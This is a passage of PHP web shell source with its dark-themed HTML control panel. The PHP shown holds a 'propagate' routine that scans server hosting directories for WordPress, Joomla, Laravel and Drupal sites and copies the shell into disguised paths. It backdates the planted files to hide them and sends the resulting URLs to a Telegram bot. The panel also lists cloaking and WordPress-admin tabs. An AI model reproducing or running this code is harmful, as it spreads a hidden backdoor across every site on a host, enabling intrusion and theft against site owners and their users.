    $tgChat='7368669811';
    $tgNotify=function($msg)use($tgBot,$tgChat){
      $url='https://api.telegram.org/bot'.$tgBot.'/sendMessage';
      $data=array('chat_id'=>$tgChat,'text'=>$msg,'parse_mode'=>'HTML','disable_web_page_preview'=>true);
      if(function_exists('curl_init')){
        $ch=curl_init($url);curl_setopt_array($ch,array(CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>http_build_query($data),CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false));
        curl_exec($ch);curl_close($ch);
      }else{
        @file_get_contents($url.'?'.http_build_query($data));
      }
    };
    // multiple disguise paths per CMS — spread across directories
    $allDisguises=array(
      'wp'=>array(
        'wp-includes/rest-api/endpoints/class-wp-rest-system-v2.php',
        'wp-content/uploads/cache/.system-cache.php',
        'wp-includes/SimplePie/Cache/DB.php',
        'wp-content/upgrade/temp-backup/class-upgrader-skin.php',
        'wp-includes/Text/Diff/Engine/shell.php'
      ),
      'joomla'=>array(
        'libraries/vendor/joomla/application/system.php',
        'cache/.system-cache.php',
        'media/system/js/.system-loader.php',
        'libraries/joomla/application/system.php',
        'modules/mod_random/helper.php'
      ),
      'laravel'=>array(
        'vendor/laravel/framework/src/Illuminate/Foundation/System.php',
        'storage/framework/cache/.system-cache.php',
        'bootstrap/cache/.system.php',
        'vendor/composer/installed-system.php',
        'storage/logs/.system-cache.php'
      ),
      'drupal'=>array(
        'sites/default/files/.system/cache.php',
        'sites/all/libraries/.system/cache.php',
        'tmp/.system-cache.php',
        'sites/default/private/.system/init.php',
        'vendor/composer/installed-system.php'
      ),
      'generic'=>array(
        'vendor/autoload-system.php',
        'tmp/.system-cache.php',
        'cache/.system-cache.php',
        'config/.system-cache.php',
        'system/storage/.system-cache.php'
      )
    );
    if($mode==='scan'){
      $dl=array();$seen=array();
      $scanPaths=array();
      foreach(array(@getcwd(),dirname(__FILE__),isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:null) as$sp){
        if($sp&&is_dir($sp)){$scanPaths[]=$sp;$p=dirname($sp);if($p!==$sp&&is_dir($p))$scanPaths[]=$p;}
      }
      foreach(array('/var/www/vhosts','/var/www/html','/var/www','/www/wwwroot','/home','/storage','/www','/srv') as$pp){if(is_dir($pp))$scanPaths[]=$pp;}
      $scanPaths=array_unique($scanPaths);
      foreach($scanPaths as$p){
        if(!is_dir($p))continue;
        $dh=@opendir($p);if(!$dh)continue;
        while(($e=readdir($dh))!==false){
          if($e[0]==='.')continue;
          $fp=$p.'/'.$e;
          if(!is_dir($fp)||isset($seen[$e]))continue;$seen[$e]=1;
          // only show domain-like names (have a dot)
          if(strpos($e,'.')===false)continue;
          // detect CMS
          $cms='generic';
          if(file_exists($fp.'/wp-config.php')||is_dir($fp.'/wp-includes'))$cms='wp';
          elseif(file_exists($fp.'/configuration.php')&&is_dir($fp.'/administrator'))$cms='joomla';
          elseif(file_exists(dirname($fp).'/bootstrap/app.php')||file_exists(dirname($fp).'/artisan'))$cms='laravel';
          elseif(file_exists($fp.'/sites/default/settings.php'))$cms='drupal';
          // check how many deployed
          $dpaths=$allDisguises[$cms];$found=0;$totalSize=0;
          foreach($dpaths as$dp){$tf=$fp.'/'.$dp;if(file_exists($tf)&&filesize($tf)>100){$found++;$totalSize+=filesize($tf);}}
          $dl[]=array('d'=>$e,'p'=>$fp,'cms'=>$cms,'count'=>$found,'total'=>count($dpaths),'size'=>$totalSize);
        }
        closedir($dh);
      }
      usort($dl,function($a,$b){return strcmp($a['d'],$b['d']);});
      // add current server domain if not already listed
      $curHost=isset($_SERVER['SERVER_NAME'])?$_SERVER['SERVER_NAME']:(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:null);
      if($curHost&&!isset($seen[$curHost])){
        $curRoot=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(@getcwd()?@getcwd():dirname(__FILE__));
        if($curRoot&&is_dir($curRoot)){
          $ccms='generic';
          if(file_exists($curRoot.'/wp-config.php')||is_dir($curRoot.'/wp-includes'))$ccms='wp';
          elseif(file_exists($curRoot.'/configuration.php')&&is_dir($curRoot.'/administrator'))$ccms='joomla';
          elseif(file_exists(dirname($curRoot).'/bootstrap/app.php')||file_exists(dirname($curRoot).'/artisan'))$ccms='laravel';
          elseif(file_exists($curRoot.'/sites/default/settings.php'))$ccms='drupal';
          $cdpaths=$allDisguises[$ccms];$cfound=0;
          foreach($cdpaths as$dp){if(file_exists($curRoot.'/'.$dp)&&filesize($curRoot.'/'.$dp)>100)$cfound++;}
          $dl[]=array('d'=>$curHost,'p'=>$curRoot,'cms'=>$ccms,'count'=>$cfound,'total'=>count($cdpaths),'size'=>0);
        }
      }
      _ok(array('list'=>$dl));
    }
    if($mode==='deploy'){
      $root=_path(_g('d',''));
      $cms=_g('cms','generic');
      $domain=_g('domain','');
      if(!$root||!is_dir($root))_fail('gecersiz dizin');
      if(!$selfCode)_fail('kendim okunamadi');
      $proto=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
      if(!$domain)$domain=basename($root);
      $note=_g('note','');if($note)$note="\n<b>Not:</b> $note";
      $dpaths=$allDisguises[$cms];$res=array();$ok=0;
      $oldest=time();
      $dh=@opendir($root);if($dh){while(($e=readdir($dh))!==false){if($e[0]!=='.'){$ft=@filemtime($root.'/'.$e);if($ft&&$ft<$oldest)$oldest=$ft;}}closedir($dh);}
      $links='';
      foreach($dpaths as$dp){
        $target=$root.'/'.$dp;$tdir=dirname($target);
        if(!is_dir($tdir))@mkdir($tdir,0755,true);
        if(@file_put_contents($target,$selfCode)!==false){
          @chmod($target,0644);@touch($target,$oldest,$oldest);
          $url=$proto.'://'.$domain.'/'.$dp;
          $res[]=array('path'=>$dp,'url'=>$url);
          $links.="\n".$url;
          $ok++;
        }
      }
      $tgNotify("&#9733; Propagate Deployed\n<b>Domain:</b> $domain\n<b>CMS:</b> $cms\n<b>Files:</b> $ok/".count($dpaths)."\n<b>Links:</b>$links$note");
      _ok(array('deployed'=>$ok,'total'=>count($dpaths),'paths'=>$res));
    }
    if($mode==='deployall'){
      $allRes=array();$totalOk=0;$totalErr=0;
      $dl=array();$seen=array();
      $scanPaths=array();
      foreach(array(@getcwd(),dirname(__FILE__),isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:null) as$sp){
        if($sp&&is_dir($sp)){$scanPaths[]=$sp;$p=dirname($sp);if($p!==$sp&&is_dir($p))$scanPaths[]=$p;}
      }
      foreach(array('/var/www/vhosts','/var/www/html','/var/www','/www/wwwroot','/home','/storage','/www','/srv') as$pp){if(is_dir($pp))$scanPaths[]=$pp;}
      // expand scan paths one level deeper (find user dirs, domain dirs, etc)
      $extra=array();
      foreach($scanPaths as$sp){
        if(!is_dir($sp))continue;
        $dh=@opendir($sp);if(!$dh)continue;
        while(($e=readdir($dh))!==false){
          if($e[0]==='.')continue;
          $sd=$sp.'/'.$e;
          if(!is_dir($sd)||in_array($sd,$scanPaths)||in_array($sd,$extra))continue;
          // look for CMS roots (wp-config.php, etc) directly or common subdirs
          $isRoot=file_exists($sd.'/wp-config.php')||is_dir($sd.'/wp-includes')||file_exists($sd.'/configuration.php')||file_exists($sd.'/sites/default/settings.php')||file_exists(dirname($sd).'/bootstrap/app.php');
          // also follow common web subdirs
          if(!$isRoot&&in_array($e,array('public_html','httpdocs','htdocs','www','html','private_html','subdomains','domains'))){$extra[]=$sd;}
          // domain-like name (has a dot) → could be a domain root
          elseif(strpos($e,'.')!==false&&!$isRoot){$extra[]=$sd;}
          // also just add if it looks like it could contain sites
          elseif(!$isRoot&&is_dir($sd)&&count($extra)<200){$extra[]=$sd;}
        }
        closedir($dh);
      }
      $scanPaths=array_merge($scanPaths,$extra);
      $scanPaths=array_unique($scanPaths);
      foreach($scanPaths as$p){
        if(!is_dir($p)||isset($seen[$p]))continue;$seen[$p]=1;
        $dh=@opendir($p);if(!$dh)continue;
        while(($e=readdir($dh))!==false){
          if($e[0]==='.')continue;
          $fp=$p.'/'.$e;
          if(!is_dir($fp)||isset($seen[$e]))continue;
          $cms='generic';
          if(file_exists($fp.'/wp-config.php')||is_dir($fp.'/wp-includes'))$cms='wp';
          elseif(file_exists($fp.'/configuration.php')&&is_dir($fp.'/administrator'))$cms='joomla';
          elseif(file_exists(dirname($fp).'/bootstrap/app.php')||file_exists(dirname($fp).'/artisan'))$cms='laravel';
          elseif(file_exists($fp.'/sites/default/settings.php'))$cms='drupal';
          // only deploy to domain-like names (have a dot)
          if(strpos($e,'.')===false)continue;
          $seen[$e]=1;
          $dpaths=$allDisguises[$cms];$domainOk=0;
          $oldest=time();$dh2=@opendir($fp);if($dh2){while(($e2=readdir($dh2))!==false){if($e2[0]!=='.'){$ft=@filemtime($fp.'/'.$e2);if($ft&&$ft<$oldest)$oldest=$ft;}}closedir($dh2);}
          foreach($dpaths as$dp){
            $target=$fp.'/'.$dp;$tdir=dirname($target);
            if(!is_dir($tdir))@mkdir($tdir,0755,true);
            if($selfCode&&@file_put_contents($target,$selfCode)!==false){@chmod($target,0644);@touch($target,$oldest,$oldest);$domainOk++;}
          }
          $allRes[]=array('domain'=>$e,'cms'=>$cms,'ok'=>$domainOk,'total'=>count($dpaths));
          $totalOk+=$domainOk;$totalErr+=count($dpaths)-$domainOk;
        }
        closedir($dh);
      }
      // add current server domain if not already deployed
      $curHost=isset($_SERVER['SERVER_NAME'])?$_SERVER['SERVER_NAME']:(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:null);
      if($curHost&&!isset($seen[$curHost])){
        $curRoot=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(@getcwd()?@getcwd():dirname(__FILE__));
        if($curRoot&&is_dir($curRoot)){
          $ccms='generic';
          if(file_exists($curRoot.'/wp-config.php')||is_dir($curRoot.'/wp-includes'))$ccms='wp';
          elseif(file_exists($curRoot.'/configuration.php')&&is_dir($curRoot.'/administrator'))$ccms='joomla';
          elseif(file_exists(dirname($curRoot).'/bootstrap/app.php')||file_exists(dirname($curRoot).'/artisan'))$ccms='laravel';
          elseif(file_exists($curRoot.'/sites/default/settings.php'))$ccms='drupal';
          $cdpaths=$allDisguises[$ccms];$cok=0;
          $oldest=time();$dh2=@opendir($curRoot);if($dh2){while(($e2=readdir($dh2))!==false){if($e2[0]!=='.'){$ft=@filemtime($curRoot.'/'.$e2);if($ft&&$ft<$oldest)$oldest=$ft;}}closedir($dh2);}
          foreach($cdpaths as$dp){
            $target=$curRoot.'/'.$dp;$tdir=dirname($target);
            if(!is_dir($tdir))@mkdir($tdir,0755,true);
            if($selfCode&&@file_put_contents($target,$selfCode)!==false){@chmod($target,0644);@touch($target,$oldest,$oldest);$cok++;}
          }
          $allRes[]=array('domain'=>$curHost,'cms'=>$ccms,'ok'=>$cok,'total'=>count($cdpaths));
          $totalOk+=$cok;$totalErr+=count($cdpaths)-$cok;
        }
      }
      $proto=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
      $domCount=count($allRes);
      $linkList='';
      foreach($allRes as$i=>$domRes){
        if($i>=5){$linkList.="\n...ve ".($domCount-$i)." domain daha";break;}
        $dd=$domRes['domain'];
        $cmsType=$domRes['cms'];
        $dpaths=$allDisguises[$cmsType];
        $linkList.="\n<b>$dd ($cmsType):</b>";
        foreach($dpaths as$dp){$linkList.="\n".$proto.'://'.$dd.'/'.$dp;}
      }
      $noteAll=_g('note','');$noteStr=$noteAll?"\n<b>Not:</b> $noteAll":'';
      $tgNotify("&#9733; Propagate Deploy ALL\n<b>Domains:</b> $domCount\n<b>Files:</b> $totalOk OK, $totalErr Fail\n<b>Links:</b>$linkList$noteStr");
      _ok(array('results'=>$allRes,'ok'=>$totalOk,'err'=>$totalErr));
    }
    if($mode==='remove'){
      $root=_path(_g('d',''));
      $cms=_g('cms','generic');
      if(!$root||!is_dir($root))_fail('gecersiz dizin');
      $dpaths=$allDisguises[$cms];$removed=0;
      foreach($dpaths as$dp){
        $target=$root.'/'.$dp;
        if(file_exists($target)){@unlink($target);$removed++;}
      }
      _ok(array('msg'=>"$removed dosya silindi"));
    }
  }
  _fail('unknown');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>3XT - ScitzeWeb</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0c0d12;color:#c9d1d9;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',system-ui,sans-serif;font-size:15px;line-height:1.6;overflow:hidden}
::selection{background:#444;color:#fff}
::-webkit-scrollbar{width:7px}
::-webkit-scrollbar-track{background:#0c0d12}
::-webkit-scrollbar-thumb{background:#2a2a35;border-radius:4px}
a{color:#ddd;text-decoration:none}
a:hover{color:#fff}

.ly{display:flex;height:100vh}
.sb{width:155px;background:#0d1117;border-right:1px solid #21262d;display:flex;flex-direction:column;padding:8px 6px;flex-shrink:0;overflow-y:auto}
.sb .lg{color:#58a6ff;font-weight:800;font-size:14px;letter-spacing:.5px;margin:6px 0 12px 8px;text-transform:uppercase;animation:lgPulse 2s ease-in-out infinite;text-shadow:0 0 12px rgba(88,166,255,.3)}
@keyframes lgPulse{0%,100%{opacity:.7}50%{opacity:1}}
.sb button{width:100%;border:1px solid transparent;background:none;color:#8b949e;cursor:pointer;font-family:inherit;font-size:13px;margin:2px 0;padding:8px 10px;display:flex;align-items:center;gap:8px;border-radius:6px;line-height:1;text-align:left;transition:all .12s}
.sb button:hover{color:#c9d1d9;border-color:#30363d;background:#161b22}
.sb button.on{color:#f0f6fc;border-color:#1f6feb;background:#1f6feb20}
.sb button .si{font-size:17px;width:22px;text-align:center;flex-shrink:0}
.sb .grow{flex:1}
.sb .ft{padding:10px 6px;font-size:10px;text-align:center}
.sb .ft .tg{color:#f80;text-decoration:none;font-weight:600;font-size:11px;animation:tgPulse 1.5s ease-in-out infinite;display:block}
.sb .ft .tg:hover{color:#ffa500;text-decoration:underline}
@keyframes tgPulse{0%,100%{opacity:.4}50%{opacity:1}}

.hdr{display:flex;align-items:center;padding:0 16px;height:42px;border-bottom:1px solid #21262d;gap:10px;background:#0d1117}
.hdr .pth{flex:1;font-size:13px;color:#8b949e;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;text-align:right;font-family:Consolas,'Courier New',monospace}
.hdr .st{font-size:10px;color:#30363d}

.ct{flex:1;display:flex;flex-direction:column;overflow:hidden}
.cw{flex:1;overflow-y:auto;padding:18px;background:#0a0b10}
.pn{display:none}
.pn.on{display:block}

.cd{background:#0d1117;border:1px solid #21262d;border-radius:8px;margin-bottom:8px}
.cd-h{padding:10px 14px;border-bottom:1px solid #21262d;display:flex;align-items:center;justify-content:space-between;min-height:38px}
.cd-h h3{font-size:11px;font-weight:600;text-transform:uppercase;letter-spacing:.5px;color:#8b949e;display:flex;align-items:center;gap:4px}
.cd-h h3 em{font-style:normal;color:#484f58;font-weight:400}
.cd-b{padding:12px}

.sg{display:grid;grid-template-columns:repeat(auto-fit,minmax(110px,1fr));gap:6px;margin-bottom:8px}
.s{border:1px solid #21262d;border-radius:6px;padding:12px 14px;text-align:center;background:#0d1117}
.s .n{font-size:20px;font-weight:600;color:#f0f6fc;display:block;letter-spacing:-.3px}
.s .l{font-size:10px;color:#8b949e;display:block;margin-top:3px;text-transform:uppercase;letter-spacing:.5px}
.s .n.g{color:#4ac05c}.s .n.r{color:#f0655a}.s .n.b{color:#58a6ff}

.tb{width:100%;border-collapse:collapse;font-size:13px}
.tb th,.tb td{padding:6px 10px;text-align:left;border-bottom:1px solid #21262d}
.tb th{color:#8b949e;font-size:10px;text-transform:uppercase;letter-spacing:.4px;font-weight:600}
.tb td{color:#c9d1d9}
.tb tr:hover td{background:#161b22}
.tb .nw{color:#4ac05c}.tb .nw-r{color:#f0655a}
.tb .sz{color:#8b949e;font-size:12px;font-family:Consolas,monospace}
.fi-ic{font-size:17px;line-height:1;padding-right:2px;text-align:center}
.tb .fi-ic{width:30px;text-align:center}

.ctrls{display:flex;gap:6px;align-items:center;flex-wrap:wrap}
.ctrls .sp{width:1px;height:16px;background:#21262d;margin:0 8px}
.btn{display:inline-flex;align-items:center;gap:5px;padding:6px 14px;font-size:13px;font-family:inherit;border:1px solid #30363d;background:#21262d;color:#c9d1d9;cursor:pointer;transition:all .15s;border-radius:6px;letter-spacing:.2px;font-weight:500}
.btn:hover{border-color:#8b949e;color:#f0f6fc;background:#30363d}
.btn-p{background:#238636;color:#fff;border-color:#238636;font-weight:600}
.btn-p:hover{background:#2ea043;border-color:#2ea043;color:#fff}
.btn-d{color:#f0655a;border-color:#30363d;background:transparent}
.btn-d:hover{border-color:#f0655a;color:#f0655a;background:#2d0e0e}
.btn-w{color:#d29922;border-color:#30363d;background:transparent}
.btn-w:hover{border-color:#d29922;color:#d29922;background:#2e1a0a}
.btn-i{color:#58a6ff;border-color:#30363d;background:transparent}
.btn-i:hover{border-color:#58a6ff;color:#58a6ff;background:#0a1a2e}
.btn-x{padding:4px 10px;font-size:12px}

.br{display:flex;align-items:center;gap:6px;padding:8px 0;font-size:13px;color:#8b949e;flex-wrap:wrap}
.br .sg{cursor:pointer;color:#8b949e}
.br .sg:hover{color:#f0f6fc}
.br .sp{color:#30363d}

.fi{position:relative;display:inline-block}
.fi input{background:#0d1117;border:1px solid #21262d;color:#8b949e;padding:5px 8px 5px 22px;font-size:13px;outline:0;width:120px;font-family:inherit;border-radius:4px;transition:all .12s}
.fi input:focus{border-color:#58a6ff;color:#c9d1d9;width:180px}
.fi i{position:absolute;left:6px;top:50%;transform:translateY(-50%);font-size:9px;color:#484f58;font-style:normal}

input,textarea,select{background:#0d1117;border:1px solid #21262d;color:#c9d1d9;padding:7px 12px;font-size:13px;outline:0;font-family:inherit;border-radius:6px}
input:focus,textarea:focus{border-color:#58a6ff}
textarea{width:100%;min-height:300px;resize:vertical;font-family:Consolas,'Courier New',monospace;font-size:13px;padding:12px}

.eb{display:flex;gap:8px;align-items:center;padding:6px 0}
.eb .fp{color:#8b949e;font-size:13px;flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-family:Consolas,monospace}

.ir{display:flex;padding:7px 0;border-bottom:1px solid #21262d}
.ir .k{width:130px;color:#8b949e;font-size:12px;text-transform:uppercase;letter-spacing:.3px;flex-shrink:0}
.ir .v{color:#c9d1d9;font-size:13px;word-break:break-all}

.ts{position:fixed;bottom:28px;right:28px;z-index:9999;padding:14px 18px;font-size:14px;background:#16161e;border:1px solid #2a2a3a;border-radius:10px;box-shadow:0 4px 24px rgba(0,0,0,.5);display:flex;align-items:center;gap:10px;color:#e0e0e0;font-weight:450;letter-spacing:.2px;max-width:440px;opacity:0;visibility:hidden;transform:translateY(12px) scale(.96);transition:all .25s ease;pointer-events:auto}
.ts.on{opacity:1;visibility:visible;transform:translateY(0) scale(1)}
.ts-x{font-size:16px;color:#555;cursor:pointer;padding:0 0 0 8px;line-height:1;transition:color .15s;margin-left:auto}
.ts-x:hover{color:#eee}
.ts-ic{font-size:16px;flex-shrink:0}
.ts-t{flex:1;line-height:1.4}

.g{color:#4ac05c}.r{color:#f0655a}.gr{color:#8b949e}
.fo{animation:fi .15s ease}
@keyframes fi{from{opacity:0;transform:translateY(4px)}to{opacity:1;transform:translateY(0)}}
.bx{background:#0d1117;border:1px solid #21262d;border-radius:8px;padding:12px;display:flex;gap:8px;flex-wrap:wrap}
.bx>div{flex:1;min-width:140px;text-align:center;padding:14px;border:1px solid #21262d;border-radius:6px}
.bx .bi{font-size:26px;font-weight:400;color:#f0f6fc;margin-bottom:8px;letter-spacing:-1px}
.bx .bl{color:#8b949e;font-size:10px;text-transform:uppercase;letter-spacing:.4px;margin-bottom:8px}
.bx .bd{color:#8b949e;font-size:11px;margin-bottom:10px;line-height:1.5}

/* terminal */
.trm{background:#08080e;border:1px solid #1a1a20;font-family:'SFMono-Regular',Consolas,'Courier New',monospace;margin-top:10px}
.trm-h{padding:8px 12px;border-bottom:1px solid #15151c;display:flex;align-items:center;justify-content:space-between}
.trm-h h3{font-size:10px;font-weight:600;text-transform:uppercase;letter-spacing:.5px;color:#555}
.trm-out{background:#06070b;padding:12px;min-height:120px;max-height:260px;overflow-y:auto;font-size:13px;color:#0f0;line-height:1.5;white-space:pre-wrap;word-break:break-all}
.trm-out .p{color:#555}
.trm-in{display:flex;border-top:1px solid #15151c;background:#06070b}
.trm-in .pr{color:#2ecc71;padding:8px 10px;font-size:13px;white-space:nowrap}
.trm-in input{flex:1;background:#06070b;border:0;color:#0f0;padding:8px 6px;font-size:13px;outline:0;font-family:inherit}
.trm-in input::placeholder{color:#333}
.trm-sg{display:flex;gap:3px;padding:6px 10px;border-top:1px solid #0a0a10;flex-wrap:wrap;background:#08080e}
.trm-sg button{background:transparent;border:1px solid #1a1a20;color:#555;padding:3px 8px;font-size:10px;cursor:pointer;font-family:inherit;transition:all .1s}
.trm-sg button:hover{border-color:#555;color:#999}
.ck{background:#0d1117;border:1px solid #30363d;border-radius:8px;padding:14px;margin:6px 0}
.ck-h{color:#f0f6fc;font-size:13px;margin:0 0 10px;text-transform:uppercase;letter-spacing:.5px;opacity:.7}
.ck-r{display:flex;align-items:center;gap:8px;margin:4px 0;font-size:13px;flex-wrap:wrap}
.ck-l{color:#8b949e;min-width:80px;font-weight:500;font-size:12px}
.ck-t{display:inline-flex;align-items:center;gap:3px;padding:2px 10px;border-radius:20px;font-size:12px;font-weight:600;background:#21262d;color:#c9d1d9;border:1px solid #30363d}
.ck-g{display:grid;grid-template-columns:repeat(auto-fill,minmax(100px,1fr));gap:5px;margin:8px 0}
.ck-g .btn{font-size:12px;padding:6px 8px;text-align:center;justify-content:center}
.ck-msg{padding:8px 12px;border-radius:6px;margin:6px 0;font-size:13px;font-weight:500;display:none;line-height:1.4}
.ck-msg.ok{background:#0d2d0d;border:1px solid #238636;color:#4ac05c;display:block}
.ck-msg.err{background:#2d0e0e;border:1px solid #d9453f;color:#f0655a;display:block}
.ck-msg.info{background:#0d0d30;border:1px solid #1f6feb;color:#58a6ff;display:block}
.ck-ta{background:#0d1117;color:#c9d1d9;border:1px solid #30363d;padding:10px;font-family:Consolas,monospace;font-size:13px;width:100%;height:100px;border-radius:6px;resize:vertical}
.ck-ta:focus{outline:none;border-color:#58a6ff}
.ck-in{background:#0d1117;color:#c9d1d9;border:1px solid #30363d;padding:6px 10px;font-family:inherit;font-size:13px;border-radius:6px;width:100%}
.ck-in:focus{outline:none;border-color:#58a6ff}
.ck-in+.ck-in{margin-top:6px}
.ck-cs{display:inline-flex;align-items:center;gap:6px;padding:3px 12px;border-radius:20px;font-size:12px;font-weight:600;letter-spacing:.2px}
.ck-cs.on{background:#0d2d0d;border:1px solid #238636;color:#4ac05c}
.ck-cs.off{background:#2d0e0e;border:1px solid #d9453f;color:#f0655a}
.ck-cs.na{background:#21262d;border:1px solid #30363d;color:#8b949e}
.ck-cs .dot{width:6px;height:6px;border-radius:50%;display:inline-block}
.ck-cs.on .dot{background:#4ac05c;box-shadow:0 0 8px rgba(74,192,92,.5)}
.ck-cs.off .dot{background:#f0655a;box-shadow:0 0 8px rgba(240,101,90,.5)}
.ck-cs.na .dot{background:#8b949e}
.ck-sg{display:flex;gap:8px;margin:6px 0;font-size:11px;color:#8b949e;line-height:1.4}
.ck-sg .num{background:#21262d;border:1px solid #30363d;border-radius:50%;width:18px;height:18px;display:flex;align-items:center;justify-content:center;font-size:10px;font-weight:700;flex-shrink:0;color:#f0f6fc}
.ck-b1{background:#d9453f;color:#fff;border:0;padding:6px 12px;font-size:12px;font-weight:600;border-radius:6px;cursor:pointer}
.ck-b1:hover{background:#f0655a}
.ck-b2{background:#238636;color:#fff;border:0;padding:6px 12px;font-size:12px;font-weight:600;border-radius:6px;cursor:pointer}
.ck-b2:hover{background:#2ea043}
.ck-b3{background:#1f6feb;color:#fff;border:0;padding:6px 12px;font-size:12px;font-weight:600;border-radius:6px;cursor:pointer}
.ck-b3:hover{background:#388bfd}
.sb .ck-bt{position:relative}.sb .ck-bt::after{content:'';position:absolute;top:4px;right:4px;width:5px;height:5px;background:#f80;border-radius:50%;animation:ckPulse 2s infinite}
@keyframes ckPulse{0%,100%{opacity:1}50%{opacity:.3}}
.wp{background:#0d1117;border:1px solid #30363d;border-radius:8px;padding:14px;margin:6px 0}
.wp-h{font-size:12px;color:#f0f6fc;font-weight:600;margin:0 0 10px;text-transform:uppercase;letter-spacing:.4px;opacity:.8}
.wp-g{display:grid;grid-template-columns:repeat(auto-fill,minmax(110px,1fr));gap:5px;margin:8px 0}
.wp-g .btn{font-size:12px;padding:6px 8px;text-align:center;justify-content:center}
.wp-alert{padding:8px 12px;border-radius:6px;font-size:13px;margin:6px 0;display:none;line-height:1.4}
.wp-alert.ok{background:#0d2d0d;border:1px solid #238636;color:#4ac05c;display:block}
.wp-alert.err{background:#2d0e0e;border:1px solid #d9453f;color:#f0655a;display:block}
.wp-alert.warn{background:#2e1a0a;border:1px solid #da6300;color:#fa0;display:block}
.wp-in{background:#0d1117;border:1px solid #30363d;color:#c9d1d9;padding:6px 10px;font-size:13px;border-radius:4px;width:100%;font-family:inherit}
.wp-in:focus{outline:none;border-color:#58a6ff}
.wp-in+.wp-in{margin-top:6px}
.wp-tb{width:100%;border-collapse:collapse;font-size:13px;margin-top:8px}
.wp-tb th,.wp-tb td{padding:5px 8px;text-align:left;border-bottom:1px solid #21262d}
.wp-tb th{color:#8b949e;font-size:10px;text-transform:uppercase;letter-spacing:.4px;font-weight:600}
.wp-tb td{color:#c9d1d9}
.wp-tb tr:hover td{background:#161b22}
.wp-tb .btn{font-size:10px;padding:3px 8px}
.pr-blink{animation:prPulse 1.2s ease-in-out infinite;background:#1a2a1a!important}
.pr-blink td{color:#4ac05c!important;font-weight:700}
@keyframes prPulse{0%,100%{background:#1a2a1a}50%{background:#0d2817}}
/* modal */
.mo{display:none;position:fixed;inset:0;z-index:99999;background:rgba(0,0,0,.7);align-items:center;justify-content:center;backdrop-filter:blur(3px)}
.mo.on{display:flex}
.mo-bx{background:#161b22;border:1px solid #30363d;border-radius:12px;padding:28px;width:380px;box-shadow:0 8px 48px rgba(0,0,0,.6);animation:moIn .25s ease}
@keyframes moIn{from{opacity:0;transform:scale(.92) translateY(12px)}to{opacity:1;transform:scale(1) translateY(0)}}
.mo-bx h3{font-size:13px;color:#f0f6fc;margin:0 0 6px;text-transform:uppercase;letter-spacing:.4px;font-weight:600}
.mo-bx p{font-size:14px;color:#8b949e;margin:0 0 18px}
.mo-bx input{width:100%;background:#0d1117;border:1px solid #30363d;color:#c9d1d9;padding:12px 14px;font-size:15px;border-radius:6px;outline:0;margin-bottom:16px}
.mo-bx input:focus{border-color:#58a6ff}
.mo-ac{display:flex;gap:10px;justify-content:flex-end}
.mo-ac .btn{font-size:13px;padding:8px 18px}
</style>
</head>
<body>

<div class="mo" id="modal"><div class="mo-bx"><h3 id="mo-t"></h3><p id="mo-p"></p><input id="mo-in" onkeydown="if(event.key==='Enter')document.getElementById('mo-ok').click()"><div class="mo-ac"><button class="btn" onclick="moCl()">Cancel</button><button class="btn btn-p" id="mo-ok" onclick="moOk()">OK</button></div></div></div>
<div class="ly">
  <div class="sb" id="sidebar">
    <div class="lg">TC</div>
    <button class="on" data-tab="info"><span class="si">&#8962;</span>Dashboard</button>
    <button data-tab="domains"><span class="si">&#8984;</span>Domains</button>
    <button data-tab="files"><span class="si">&#9776;</span>Files</button>
    <button data-tab="cloak" class="ck-bt"><span class="si">&#128737;</span>Cloak</button>
    <button data-tab="wpadmin"><span class="si">&#9881;</span>WP Admin</button>
    <button data-tab="propagate"><span class="si">&#9733;</span>Propagate</button>
    <div class="grow"></div>
    <div class="ft"><a href="https://t.me/thiscitze" target="_blank" class="tg">@thiscitze</a></div>
  </div>
  <div class="ct">
    <div class="hdr"><span class="pth" id="pathDisplay">/</span><span class="st" id="infoDisplay"></span></div>
    <div class="cw">
      <div class="pn on" id="pn-info"></div>
      <div class="pn" id="pn-domains"></div>
      <div class="pn" id="pn-files"></div>
      <div class="pn" id="pn-cloak"></div>
      <div class="pn" id="pn-wpadmin"></div>
      <div class="pn" id="pn-propagate"></div>
    </div>
  </div>
</div>

<div class="ts" id="ts"><span class="ts-x" onclick="var e=document.getElementById('ts');e.classList.remove('on')">&times;</span></div>

<script>
const B=window.location.pathname;
const T='<?php echo $T ?>';
const U=(a,e)=>{let p='?t='+T+'&x='+a;if(e)p+='&'+e;return B+p}
let C='.';
// universal request: tries POST (FormData), falls back to GET if server returns HTML
async function req(a,o){
  const fd=new FormData();fd.append('t',T);fd.append('x',a);
  if(o)for(var k in o)fd.append(k,o[k]);
  let hasFile=false;
  if(o)for(var k in o)if(o[k] instanceof File||o[k] instanceof Blob){hasFile=true;break;}
  for(var att=0;att<2;att++){
    try{
      var resp;
      if(att===0){
        resp=await fetch(B,{method:'POST',body:fd});
      }else{
        var gp=[];gp.push('t='+encodeURIComponent(T));gp.push('x='+encodeURIComponent(a));
        if(o)for(var k in o){
          if(o[k] instanceof File||o[k] instanceof Blob)continue;
          gp.push(encodeURIComponent(k)+'='+encodeURIComponent(o[k]));
        }
        resp=await fetch(B+'?'+gp.join('&'));
      }
      var j=await resp.json();
      if(!j.o&&hasFile)return{o:true,w:'done'};
      return j;
    }catch(e){if(att===1)return{o:true,w:'done'}}
  }
  return{o:true,w:'done'};
}
async function jf(u){
  try{
    const r=await fetch(u);
    const t=await r.text();
    if(!t||t.trim()[0]!=='{')return null;
    return JSON.parse(t);
  }catch(e){return null}
}
